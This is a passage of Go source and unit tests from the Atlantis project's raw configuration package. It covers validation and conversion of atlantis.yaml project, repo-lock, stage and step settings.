/(text/: error parsing regexp: missing closing ): `(text`.", }, { description: "plan reqs with unsupported", input: raw.Project{ Dir: String("."), PlanRequirements: []string{"unsupported"}, }, expErr: "plan_requirements: \"unsupported\" is not a valid plan_requirement, only \"approved\", \"mergeable\" and \"undiverged\" are supported.", }, { description: "plan reqs with undiverged, mergeable and approved requirements", input: raw.Project{ Dir: String("."), PlanRequirements: []string{"undiverged", "mergeable", "approved"}, }, expErr: "", }, { description: "plan reqs with approved requirement", input: raw.Project{ Dir: String("."), PlanRequirements: []string{"approved"}, }, expErr: "", }, { description: "plan reqs with mergeable requirement", input: raw.Project{ Dir: String("."), PlanRequirements: []string{"mergeable"}, }, expErr: "", }, { description: "plan reqs with mergeable and approved requirements", input: raw.Project{ Dir: String("."), PlanRequirements: []string{"mergeable", "approved"}, }, expErr: "", }, { description: "apply reqs with unsupported", input: raw.Project{ Dir: String("."), ApplyRequirements: []string{"unsupported"}, }, expErr: "apply_requirements: \"unsupported\" is not a valid apply_requirement, only \"approved\", \"mergeable\" and \"undiverged\" are supported.", }, { description: "apply reqs with approved requirement", input: raw.Project{ Dir: String("."), ApplyRequirements: []string{"approved"}, }, expErr: "", }, { description: "apply reqs with mergeable requirement", input: raw.Project{ Dir: String("."), ApplyRequirements: []string{"mergeable"}, }, expErr: "", }, { description: "apply reqs with undiverged requirement", input: raw.Project{ Dir: String("."), ApplyRequirements: []string{"undiverged"}, }, expErr: "", }, { description: "apply reqs with mergeable and approved requirements", input: raw.Project{ Dir: String("."), ApplyRequirements: []string{"mergeable", "approved"}, }, expErr: "", }, { description: "apply reqs with undiverged and approved requirements", input: raw.Project{ Dir: String("."), ApplyRequirements: []string{"undiverged", "approved"}, }, expErr: "", }, { description: "apply reqs with undiverged and mergeable requirements", input: raw.Project{ Dir: String("."), ApplyRequirements: []string{"undiverged", "mergeable"}, }, expErr: "", }, { description: "apply reqs with undiverged, mergeable and approved requirements", input: raw.Project{ Dir: String("."), ApplyRequirements: []string{"undiverged", "mergeable", "approved"}, }, expErr: "", }, { description: "import reqs with unsupported", input: raw.Project{ Dir: String("."), ImportRequirements: []string{"unsupported"}, }, expErr: "import_requirements: \"unsupported\" is not a valid import_requirement, only \"approved\", \"mergeable\" and \"undiverged\" are supported.", }, { description: "import reqs with undiverged, mergeable and approved requirements", input: raw.Project{ Dir: String("."), ImportRequirements: []string{"undiverged", "mergeable", "approved"}, }, expErr: "", }, { description: "empty tf version string", input: raw.Project{ Dir: String("."), TerraformVersion: String(""), }, expErr: "terraform_version: version \"\" could not be parsed: Malformed version: .", }, { description: "tf version with v prepended", input: raw.Project{ Dir: String("."), TerraformVersion: String("v1"), }, expErr: "", }, { description: "tf version without prepended v", input: raw.Project{ Dir: String("."), TerraformVersion: String("1"), }, expErr: "", }, { description: "empty string for project name", input: raw.Project{ Dir: String("."), Name: String(""), }, expErr: "name: if set cannot be empty.", }, { description: "project name with slashes", input: raw.Project{ Dir: String("."), Name: String("my/name"), }, expErr: "", }, { description: "project name with emoji", input: raw.Project{ Dir: String("."), Name: String("😀"), }, expErr: "name: \"😀\" is not allowed: must contain only URL safe characters.", }, { description: "project name with spaces", input: raw.Project{ Dir: String("."), Name: String("name with spaces"), }, expErr: "name: \"name with spaces\" is not allowed: must contain only URL safe characters.", }, { description: "project name with +", input: raw.Project{ Dir: String("."), Name: String("namewith+"), }, expErr: "name: \"namewith+\" is not allowed: must contain only URL safe characters.", }, { description: `project name with \`, input: raw.Project{ Dir: String("."), Name: String(`namewith\`), }, expErr: `name: "namewith\\" is not allowed: must contain only URL safe characters.`, }, // Glob pattern tests { description: "dir with valid glob pattern *", input: raw.Project{ Dir: String("modules/*"), }, expErr: "", }, { description: "dir with valid glob pattern **", input: raw.Project{ Dir: String("environments/**"), }, expErr: "", }, { description: "dir with valid glob pattern ?", input: raw.Project{ Dir: String("module?"), }, expErr: "", }, { description: "dir with valid glob pattern [abc]", input: raw.Project{ Dir: String("[abc]"), }, expErr: "", }, { description: "dir with complex glob pattern", input: raw.Project{ Dir: String("modules/*/terraform"), }, expErr: "", }, { description: "dir with invalid glob pattern - unclosed bracket", input: raw.Project{ Dir: String("[abc"), }, expErr: `dir: invalid glob pattern "[abc".`, }, // Name with glob pattern tests { description: "name containing * glob pattern should fail", input: raw.Project{ Dir: String("modules/networking"), Name: String("my-project*"), }, expErr: "name: cannot contain glob pattern characters ('*', '?', '['); glob expansion is only supported in the 'dir' field", }, { description: "name containing ** glob pattern should fail", input: raw.Project{ Dir: String("modules/networking"), Name: String("my-project**"), }, expErr: "name: cannot contain glob pattern characters ('*', '?', '['); glob expansion is only supported in the 'dir' field", }, { description: "name containing ? glob pattern should fail", input: raw.Project{ Dir: String("modules/networking"), Name: String("project?"), }, expErr: "name: cannot contain glob pattern characters ('*', '?', '['); glob expansion is only supported in the 'dir' field", }, { description: "name containing [ glob pattern should fail", input: raw.Project{ Dir: String("modules/networking"), Name: String("project[1]"), }, expErr: "name: cannot contain glob pattern characters ('*', '?', '['); glob expansion is only supported in the 'dir' field", }, { description: "name with glob pattern in dir should fail", input: raw.Project{ Dir: String("modules/*"), Name: String("my-project"), }, expErr: "name: cannot be used with glob patterns in 'dir'; glob patterns expand to multiple projects which cannot share the same name", }, { description: "name with ** glob pattern in dir should fail", input: raw.Project{ Dir: String("environments/**"), Name: String("my-env"), }, expErr: "name: cannot be used with glob patterns in 'dir'; glob patterns expand to multiple projects which cannot share the same name", }, { description: "name without glob pattern in dir should pass", input: raw.Project{ Dir: String("modules/networking"), Name: String("networking"), }, expErr: "", }, } validation.ErrorTag = "yaml" for _, c := range cases { t.Run(c.description, func(t *testing.T) { err := c.input.Validate() if c.expErr == "" { Ok(t, err) } else { ErrEquals(t, c.expErr, err) } }) } } func TestProject_ToValid(t *testing.T) { tfVersionPointEleven, _ := version.NewVersion("v0.11.0") repoLocksOnApply := valid.RepoLocksOnApplyMode cases := []struct { description string input raw.Project exp valid.Project }{ { description: "minimal values", input: raw.Project{ Dir: String("."), }, exp: valid.Project{ Dir: ".", BranchRegex: nil, Workspace: "default", WorkflowName: nil, TerraformVersion: nil, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, ApplyRequirements: nil, Name: nil, }, }, { description: "all set", input: raw.Project{ Dir: String("."), Workspace: String("myworkspace"), Workflow: String("myworkflow"), TerraformVersion: String("v0.11.0"), Autoplan: &raw.Autoplan{ WhenModified: []string{"hi"}, Enabled: Bool(false), }, RepoLocks: &raw.RepoLocks{ Mode: &repoLocksOnApply, }, ApplyRequirements: []string{"approved"}, Name: String("myname"), ExecutionOrderGroup: Int(10), }, exp: valid.Project{ Dir: ".", Workspace: "myworkspace", WorkflowName: String("myworkflow"), TerraformVersion: tfVersionPointEleven, Autoplan: valid.Autoplan{ WhenModified: []string{"hi"}, Enabled: false, }, RepoLocks: &valid.RepoLocks{ Mode: repoLocksOnApply, }, ApplyRequirements: []string{"approved"}, Name: String("myname"), ExecutionOrderGroup: 10, }, }, { description: "tf version without 'v'", input: raw.Project{ Dir: String("."), TerraformVersion: String("0.11.0"), }, exp: valid.Project{ Dir: ".", Workspace: "default", TerraformVersion: tfVersionPointEleven, Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, // Directories. { description: "dir set to /", input: raw.Project{ Dir: String("/"), }, exp: valid.Project{ Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, { description: "dir starting with /", input: raw.Project{ Dir: String("/a/b/c"), }, exp: valid.Project{ Dir: "a/b/c", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, { description: "dir with trailing slash", input: raw.Project{ Dir: String("mydir/"), }, exp: valid.Project{ Dir: "mydir", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, { description: "unclean dir", input: raw.Project{ // This won't actually be allowed since it doesn't validate. Dir: String("./mydir/anotherdir/../"), }, exp: valid.Project{ Dir: "mydir", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, { description: "dir set to ./", input: raw.Project{ Dir: String("./"), }, exp: valid.Project{ Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, { description: "dir set to ././", input: raw.Project{ Dir: String("././"), }, exp: valid.Project{ Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, { description: "dir set to .", input: raw.Project{ Dir: String("."), }, exp: valid.Project{ Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, { description: "workspace set to empty string", input: raw.Project{ Dir: String("."), Workspace: String(""), }, exp: valid.Project{ Dir: ".", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { Equals(t, c.exp, c.input.ToValid()) }) } } ================================================ FILE: server/core/config/raw/raw.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 // Package raw contains the golang representations of the YAML elements // supported in atlantis.yaml. The structs here represent the exact data that // comes from the file before it is parsed/validated further. package raw import ( "fmt" version "github.com/hashicorp/go-version" ) // VersionValidator helper function to validate binary version. // Function implements ozzo-validation::Rule.Validate interface. func VersionValidator(value any) error { strPtr := value.(*string) if strPtr == nil { return nil } _, err := version.NewVersion(*strPtr) if err != nil { return fmt.Errorf("version %q could not be parsed: %w", *strPtr, err) } return nil } ================================================ FILE: server/core/config/raw/raw_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw_test import ( "io" "strings" "errors" "gopkg.in/yaml.v3" ) // Bool is a helper routine that allocates a new bool value // to store v and returns a pointer to it. func Bool(v bool) *bool { return &v } // Int is a helper routine that allocates a new int value // to store v and returns a pointer to it. func Int(v int) *int { return &v } // String is a helper routine that allocates a new string value // to store v and returns a pointer to it. func String(v string) *string { return &v } // Helper function to unmarshal from strings func unmarshalString(in string, out any) error { decoder := yaml.NewDecoder(strings.NewReader(in)) decoder.KnownFields(true) err := decoder.Decode(out) if errors.Is(err, io.EOF) { return nil } return err } ================================================ FILE: server/core/config/raw/repo_cfg.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import ( "errors" validation "github.com/go-ozzo/ozzo-validation" "github.com/runatlantis/atlantis/server/core/config/valid" ) // DefaultEmojiReaction is the default emoji reaction for repos const DefaultEmojiReaction = "" // DefaultAbortOnExecutionOrderFail being false is the default setting for abort on execution group failures const DefaultAbortOnExecutionOrderFail = false // RepoCfg is the raw schema for repo-level atlantis.yaml config. type RepoCfg struct { Version *int `yaml:"version,omitempty"` Projects []Project `yaml:"projects,omitempty"` Workflows map[string]Workflow `yaml:"workflows,omitempty"` PolicySets PolicySets `yaml:"policies,omitempty"` AutoDiscover *AutoDiscover `yaml:"autodiscover,omitempty"` Automerge *bool `yaml:"automerge,omitempty"` ParallelApply *bool `yaml:"parallel_apply,omitempty"` ParallelPlan *bool `yaml:"parallel_plan,omitempty"` DeleteSourceBranchOnMerge *bool `yaml:"delete_source_branch_on_merge,omitempty"` EmojiReaction *string `yaml:"emoji_reaction,omitempty"` AllowedRegexpPrefixes []string `yaml:"allowed_regexp_prefixes,omitempty"` AbortOnExecutionOrderFail *bool `yaml:"abort_on_execution_order_fail,omitempty"` RepoLocks *RepoLocks `yaml:"repo_locks,omitempty"` SilencePRComments []string `yaml:"silence_pr_comments,omitempty"` } func (r RepoCfg) Validate() error { equals2 := func(value any) error { asIntPtr := value.(*int) if asIntPtr == nil { return errors.New("is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html") } if *asIntPtr != 2 && *asIntPtr != 3 { return errors.New("only versions 2 and 3 are supported") } return nil } return validation.ValidateStruct(&r, validation.Field(&r.Version, validation.By(equals2)), validation.Field(&r.Projects), validation.Field(&r.Workflows), ) } func (r RepoCfg) ToValid() valid.RepoCfg { validWorkflows := make(map[string]valid.Workflow) for k, v := range r.Workflows { validWorkflows[k] = v.ToValid(k) } var validProjects []valid.Project for _, p := range r.Projects { validProjects = append(validProjects, p.ToValid()) } automerge := r.Automerge parallelApply := r.ParallelApply parallelPlan := r.ParallelPlan emojiReaction := DefaultEmojiReaction if r.EmojiReaction != nil { emojiReaction = *r.EmojiReaction } abortOnExecutionOrderFail := DefaultAbortOnExecutionOrderFail if r.AbortOnExecutionOrderFail != nil { abortOnExecutionOrderFail = *r.AbortOnExecutionOrderFail } var autoDiscover *valid.AutoDiscover if r.AutoDiscover != nil { autoDiscover = r.AutoDiscover.ToValid() } var repoLocks *valid.RepoLocks if r.RepoLocks != nil { repoLocks = r.RepoLocks.ToValid() } return valid.RepoCfg{ Version: *r.Version, Projects: validProjects, Workflows: validWorkflows, AutoDiscover: autoDiscover, Automerge: automerge, ParallelApply: parallelApply, ParallelPlan: parallelPlan, ParallelPolicyCheck: parallelPlan, DeleteSourceBranchOnMerge: r.DeleteSourceBranchOnMerge, AllowedRegexpPrefixes: r.AllowedRegexpPrefixes, EmojiReaction: emojiReaction, AbortOnExecutionOrderFail: abortOnExecutionOrderFail, RepoLocks: repoLocks, SilencePRComments: r.SilencePRComments, } } ================================================ FILE: server/core/config/raw/repo_cfg_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw_test import ( "testing" validation "github.com/go-ozzo/ozzo-validation" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" ) func TestConfig_UnmarshalYAML(t *testing.T) { autoDiscoverEnabled := valid.AutoDiscoverEnabledMode repoLocksDisabled := valid.RepoLocksDisabledMode repoLocksOnApply := valid.RepoLocksOnApplyMode cases := []struct { description string input string exp raw.RepoCfg expErr string }{ { description: "no data", input: "", exp: raw.RepoCfg{ Version: nil, Projects: nil, Workflows: nil, }, }, { description: "yaml nil", input: "~", exp: raw.RepoCfg{ Version: nil, Projects: nil, Workflows: nil, }, }, { description: "invalid key", input: "invalid: key", exp: raw.RepoCfg{ Version: nil, Projects: nil, Workflows: nil, }, expErr: "yaml: unmarshal errors:\n line 1: field invalid not found in type raw.RepoCfg", }, { description: "version set to 2", input: "version: 2", exp: raw.RepoCfg{ Version: Int(2), Projects: nil, Workflows: nil, }, }, { description: "version set to 3", input: "version: 3", exp: raw.RepoCfg{ Version: Int(3), Projects: nil, Workflows: nil, }, }, { description: "projects key without value", input: "projects:", exp: raw.RepoCfg{ Version: nil, Projects: nil, Workflows: nil, }, }, { description: "workflows key without value", input: "workflows:", exp: raw.RepoCfg{ Version: nil, Projects: nil, Workflows: nil, }, }, { description: "projects with a map", input: "projects:\n key: value", exp: raw.RepoCfg{ Version: nil, Projects: nil, Workflows: nil, }, expErr: "yaml: unmarshal errors:\n line 2: cannot unmarshal !!map into []raw.Project", }, { description: "projects with a scalar", input: "projects: value", exp: raw.RepoCfg{ Version: nil, Projects: nil, Workflows: nil, }, expErr: "yaml: unmarshal errors:\n line 1: cannot unmarshal !!str `value` into []raw.Project", }, { description: "automerge not a boolean", input: "version: 3\nautomerge: notabool", exp: raw.RepoCfg{ Version: nil, Projects: nil, Workflows: nil, }, expErr: "yaml: unmarshal errors:\n line 2: cannot unmarshal !!str `notabool` into bool", }, { description: "parallel apply not a boolean", input: "version: 3\nparallel_apply: notabool", exp: raw.RepoCfg{ Version: nil, Projects: nil, Workflows: nil, }, expErr: "yaml: unmarshal errors:\n line 2: cannot unmarshal !!str `notabool` into bool", }, { description: "should use values if set", input: ` version: 3 automerge: true autodiscover: mode: enabled ignore_paths: - foo/* parallel_apply: true parallel_plan: false repo_locks: mode: on_apply projects: - dir: mydir workspace: myworkspace workflow: default terraform_version: v0.11.0 autoplan: enabled: false when_modified: [] apply_requirements: [mergeable] repo_locks: mode: disabled workflows: default: plan: steps: [] policy_check: steps: [] apply: steps: [] allowed_regexp_prefixes: - dev/ - staging/`, exp: raw.RepoCfg{ Version: Int(3), AutoDiscover: &raw.AutoDiscover{ Mode: &autoDiscoverEnabled, IgnorePaths: []string{"foo/*"}, }, Automerge: Bool(true), ParallelApply: Bool(true), ParallelPlan: Bool(false), RepoLocks: &raw.RepoLocks{Mode: &repoLocksOnApply}, Projects: []raw.Project{ { Dir: String("mydir"), Workspace: String("myworkspace"), Workflow: String("default"), TerraformVersion: String("v0.11.0"), Autoplan: &raw.Autoplan{ WhenModified: []string{}, Enabled: Bool(false), }, ApplyRequirements: []string{"mergeable"}, RepoLocks: &raw.RepoLocks{Mode: &repoLocksDisabled}, }, }, Workflows: map[string]raw.Workflow{ "default": { Apply: &raw.Stage{ Steps: []raw.Step{}, }, Plan: &raw.Stage{ Steps: []raw.Step{}, }, PolicyCheck: &raw.Stage{ Steps: []raw.Step{}, }, }, }, AllowedRegexpPrefixes: []string{"dev/", "staging/"}, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { var conf raw.RepoCfg err := unmarshalString(c.input, &conf) if c.expErr != "" { ErrEquals(t, c.expErr, err) return } Ok(t, err) Equals(t, c.exp, conf) }) } } func TestConfig_Validate(t *testing.T) { cases := []struct { description string input raw.RepoCfg expErr string }{ { description: "version not nil", input: raw.RepoCfg{ Version: nil, }, expErr: "version: is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html.", }, { description: "version not 2 or 3", input: raw.RepoCfg{ Version: Int(1), }, expErr: "version: only versions 2 and 3 are supported.", }, } validation.ErrorTag = "yaml" for _, c := range cases { t.Run(c.description, func(t *testing.T) { err := c.input.Validate() if c.expErr == "" { Ok(t, err) } else { ErrEquals(t, c.expErr, err) } }) } } func TestConfig_ToValid(t *testing.T) { autoDiscoverEnabled := valid.AutoDiscoverEnabledMode repoLocksOnApply := valid.RepoLocksOnApplyMode cases := []struct { description string input raw.RepoCfg exp valid.RepoCfg }{ { description: "nothing set", input: raw.RepoCfg{Version: Int(2)}, exp: valid.RepoCfg{ Version: 2, Workflows: make(map[string]valid.Workflow), }, }, { description: "set to empty", input: raw.RepoCfg{ Version: Int(2), AutoDiscover: &raw.AutoDiscover{}, Workflows: map[string]raw.Workflow{}, Projects: []raw.Project{}, RepoLocks: &raw.RepoLocks{}, }, exp: valid.RepoCfg{ Version: 2, AutoDiscover: raw.DefaultAutoDiscover(), Workflows: map[string]valid.Workflow{}, Projects: nil, RepoLocks: &valid.DefaultRepoLocks, }, }, { description: "automerge, parallel_apply, abort_on_execution_order_fail omitted", input: raw.RepoCfg{ Version: Int(2), }, exp: valid.RepoCfg{ Version: 2, Automerge: nil, ParallelApply: nil, AbortOnExecutionOrderFail: false, Workflows: map[string]valid.Workflow{}, }, }, { description: "automerge, parallel_apply, abort_on_execution_order_fail true", input: raw.RepoCfg{ Version: Int(2), Automerge: Bool(true), ParallelApply: Bool(true), AbortOnExecutionOrderFail: Bool(true), }, exp: valid.RepoCfg{ Version: 2, Automerge: Bool(true), ParallelApply: Bool(true), AbortOnExecutionOrderFail: true, Workflows: map[string]valid.Workflow{}, }, }, { description: "automerge, parallel_apply, abort_on_execution_order_fail false", input: raw.RepoCfg{ Version: Int(2), Automerge: Bool(false), ParallelApply: Bool(false), AbortOnExecutionOrderFail: Bool(false), }, exp: valid.RepoCfg{ Version: 2, Automerge: Bool(false), ParallelApply: Bool(false), AbortOnExecutionOrderFail: false, Workflows: map[string]valid.Workflow{}, }, }, { description: "autodiscover omitted", input: raw.RepoCfg{ Version: Int(2), }, exp: valid.RepoCfg{ Version: 2, Workflows: map[string]valid.Workflow{}, }, }, { description: "autodiscover included", input: raw.RepoCfg{ Version: Int(2), AutoDiscover: &raw.AutoDiscover{Mode: &autoDiscoverEnabled}, }, exp: valid.RepoCfg{ Version: 2, AutoDiscover: &valid.AutoDiscover{ Mode: valid.AutoDiscoverEnabledMode, }, Workflows: map[string]valid.Workflow{}, }, }, { description: "repo_locks omitted", input: raw.RepoCfg{ Version: Int(2), }, exp: valid.RepoCfg{ Version: 2, Workflows: map[string]valid.Workflow{}, }, }, { description: "repo_locks included", input: raw.RepoCfg{ Version: Int(2), RepoLocks: &raw.RepoLocks{Mode: &repoLocksOnApply}, }, exp: valid.RepoCfg{ Version: 2, RepoLocks: &valid.RepoLocks{ Mode: valid.RepoLocksOnApplyMode, }, Workflows: map[string]valid.Workflow{}, }, }, { description: "only plan stage set", input: raw.RepoCfg{ Version: Int(2), Workflows: map[string]raw.Workflow{ "myworkflow": { Plan: &raw.Stage{}, Apply: nil, PolicyCheck: nil, Import: nil, StateRm: nil, }, }, }, exp: valid.RepoCfg{ Version: 2, Automerge: nil, ParallelApply: nil, Workflows: map[string]valid.Workflow{ "myworkflow": { Name: "myworkflow", Plan: valid.DefaultPlanStage, PolicyCheck: valid.DefaultPolicyCheckStage, Apply: valid.DefaultApplyStage, Import: valid.DefaultImportStage, StateRm: valid.DefaultStateRmStage, }, }, }, }, { description: "everything set", input: raw.RepoCfg{ Version: Int(2), Automerge: Bool(true), ParallelApply: Bool(true), AutoDiscover: &raw.AutoDiscover{ Mode: &autoDiscoverEnabled, }, RepoLocks: &raw.RepoLocks{ Mode: &repoLocksOnApply, }, Workflows: map[string]raw.Workflow{ "myworkflow": { Apply: &raw.Stage{ Steps: []raw.Step{ { Key: String("apply"), }, }, }, PolicyCheck: &raw.Stage{ Steps: []raw.Step{ { Key: String("policy_check"), }, }, }, Plan: &raw.Stage{ Steps: []raw.Step{ { Key: String("init"), }, }, }, Import: &raw.Stage{ Steps: []raw.Step{ { Key: String("import"), }, }, }, StateRm: &raw.Stage{ Steps: []raw.Step{ { Key: String("state_rm"), }, }, }, }, }, Projects: []raw.Project{ { Dir: String("mydir"), }, }, }, exp: valid.RepoCfg{ Version: 2, Automerge: Bool(true), ParallelApply: Bool(true), AutoDiscover: &valid.AutoDiscover{ Mode: valid.AutoDiscoverEnabledMode, }, RepoLocks: &valid.RepoLocks{ Mode: valid.RepoLocksOnApplyMode, }, Workflows: map[string]valid.Workflow{ "myworkflow": { Name: "myworkflow", Apply: valid.Stage{ Steps: []valid.Step{ { StepName: "apply", }, }, }, PolicyCheck: valid.Stage{ Steps: []valid.Step{ { StepName: "policy_check", }, }, }, Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "init", }, }, }, Import: valid.Stage{ Steps: []valid.Step{ { StepName: "import", }, }, }, StateRm: valid.Stage{ Steps: []valid.Step{ { StepName: "state_rm", }, }, }, }, }, Projects: []valid.Project{ { Dir: "mydir", Workspace: "default", Autoplan: valid.Autoplan{ WhenModified: raw.DefaultAutoPlanWhenModified, Enabled: true, }, }, }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { Equals(t, c.exp, c.input.ToValid()) }) } } ================================================ FILE: server/core/config/raw/repo_locks.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import ( validation "github.com/go-ozzo/ozzo-validation" "github.com/runatlantis/atlantis/server/core/config/valid" ) type RepoLocks struct { Mode *valid.RepoLocksMode `yaml:"mode,omitempty"` } func (a RepoLocks) ToValid() *valid.RepoLocks { var v valid.RepoLocks if a.Mode != nil { v.Mode = *a.Mode } else { v.Mode = valid.DefaultRepoLocksMode } return &v } func (a RepoLocks) Validate() error { res := validation.ValidateStruct(&a, // If a.Mode is nil, this should still pass validation. validation.Field(&a.Mode, validation.In(valid.RepoLocksDisabledMode, valid.RepoLocksOnPlanMode, valid.RepoLocksOnApplyMode)), ) return res } ================================================ FILE: server/core/config/raw/repo_locks_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw_test import ( "testing" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" ) func TestRepoLocks_UnmarshalYAML(t *testing.T) { repoLocksOnPlan := valid.RepoLocksOnPlanMode cases := []struct { description string input string exp raw.RepoLocks }{ { description: "omit unset fields", input: "", exp: raw.RepoLocks{ Mode: nil, }, }, { description: "all fields set", input: ` mode: on_plan `, exp: raw.RepoLocks{ Mode: &repoLocksOnPlan, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { var a raw.RepoLocks err := unmarshalString(c.input, &a) Ok(t, err) Equals(t, c.exp, a) }) } } func TestRepoLocks_Validate(t *testing.T) { repoLocksDisabled := valid.RepoLocksDisabledMode repoLocksOnPlan := valid.RepoLocksOnPlanMode repoLocksOnApply := valid.RepoLocksOnApplyMode randomString := valid.RepoLocksMode("random_string") cases := []struct { description string input raw.RepoLocks errContains *string }{ { description: "nothing set", input: raw.RepoLocks{}, errContains: nil, }, { description: "mode set to disabled", input: raw.RepoLocks{ Mode: &repoLocksDisabled, }, errContains: nil, }, { description: "mode set to on_plan", input: raw.RepoLocks{ Mode: &repoLocksOnPlan, }, errContains: nil, }, { description: "mode set to on_apply", input: raw.RepoLocks{ Mode: &repoLocksOnApply, }, errContains: nil, }, { description: "mode set to random string", input: raw.RepoLocks{ Mode: &randomString, }, errContains: String("valid value"), }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { if c.errContains == nil { Ok(t, c.input.Validate()) } else { ErrContains(t, *c.errContains, c.input.Validate()) } }) } } func TestRepoLocks_ToValid(t *testing.T) { repoLocksOnApply := valid.RepoLocksOnApplyMode cases := []struct { description string input raw.RepoLocks exp *valid.RepoLocks }{ { description: "nothing set", input: raw.RepoLocks{}, exp: &valid.DefaultRepoLocks, }, { description: "value set", input: raw.RepoLocks{ Mode: &repoLocksOnApply, }, exp: &valid.RepoLocks{ Mode: valid.RepoLocksOnApplyMode, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { Equals(t, c.exp, c.input.ToValid()) }) } } ================================================ FILE: server/core/config/raw/stage.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import ( validation "github.com/go-ozzo/ozzo-validation" "github.com/runatlantis/atlantis/server/core/config/valid" ) type Stage struct { Steps []Step `yaml:"steps,omitempty" json:"steps,omitempty"` } func (s Stage) Validate() error { return validation.ValidateStruct(&s, validation.Field(&s.Steps), ) } func (s Stage) ToValid() valid.Stage { var validSteps []valid.Step for _, s := range s.Steps { validSteps = append(validSteps, s.ToValid()) } return valid.Stage{ Steps: validSteps, } } ================================================ FILE: server/core/config/raw/stage_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw_test import ( "testing" validation "github.com/go-ozzo/ozzo-validation" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" ) func TestStage_UnmarshalYAML(t *testing.T) { cases := []struct { description string input string exp raw.Stage }{ { description: "empty", input: "", exp: raw.Stage{ Steps: nil, }, }, { description: "all fields set", input: ` steps: [step1] `, exp: raw.Stage{ Steps: []raw.Step{ { Key: String("step1"), }, }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { var a raw.Stage err := unmarshalString(c.input, &a) Ok(t, err) Equals(t, c.exp, a) }) } } func TestStage_Validate(t *testing.T) { // Should validate each step. s := raw.Stage{ Steps: []raw.Step{ { Key: String("invalid"), }, }, } validation.ErrorTag = "yaml" ErrEquals(t, "steps: (0: \"invalid\" is not a valid step type, maybe you omitted the 'run' key.).", s.Validate()) // Empty steps should validate. Ok(t, (raw.Stage{}).Validate()) } func TestStage_ToValid(t *testing.T) { cases := []struct { description string input raw.Stage exp valid.Stage }{ { description: "nothing set", input: raw.Stage{}, exp: valid.Stage{ Steps: nil, }, }, { description: "fields set", input: raw.Stage{ Steps: []raw.Step{ { Key: String("init"), }, }, }, exp: valid.Stage{ Steps: []valid.Step{ { StepName: "init", }, }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { Equals(t, c.exp, c.input.ToValid()) }) } } ================================================ FILE: server/core/config/raw/step.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import ( "encoding/json" "errors" "fmt" "maps" "regexp" "slices" "sort" "strings" validation "github.com/go-ozzo/ozzo-validation" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/utils" ) const ( ExtraArgsKey = "extra_args" NameArgKey = "name" CommandArgKey = "command" ValueArgKey = "value" OutputArgKey = "output" RunStepName = "run" PlanStepName = "plan" ShowStepName = "show" PolicyCheckStepName = "policy_check" ApplyStepName = "apply" InitStepName = "init" EnvStepName = "env" MultiEnvStepName = "multienv" ImportStepName = "import" StateRmStepName = "state_rm" ShellArgKey = "shell" ShellArgsArgKey = "shellArgs" ) /* Step represents a single action/command to perform. In YAML, it can be set as 1. A single string for a built-in command: - init - plan - policy_check 2. A map for an env step with name and command or value, or a run step with a command and output config - env: name: test_command command: echo 312 - env: name: test_value value: value - env: name: test_bash_command command: echo ${test_value::7} shell: bash shellArgs: ["--verbose", "-c"] - multienv: command: envs.sh output: hide shell: sh shellArgs: -c - run: command: my custom command output: hide - run: command: my custom command output: ["strip_refreshing", {"filter_regex": "((?i)secret:\\s\")[^\"]*"}] 3. A map for a built-in command and extra_args: - plan: extra_args: [-var-file=staging.tfvars] 4. A map for a custom 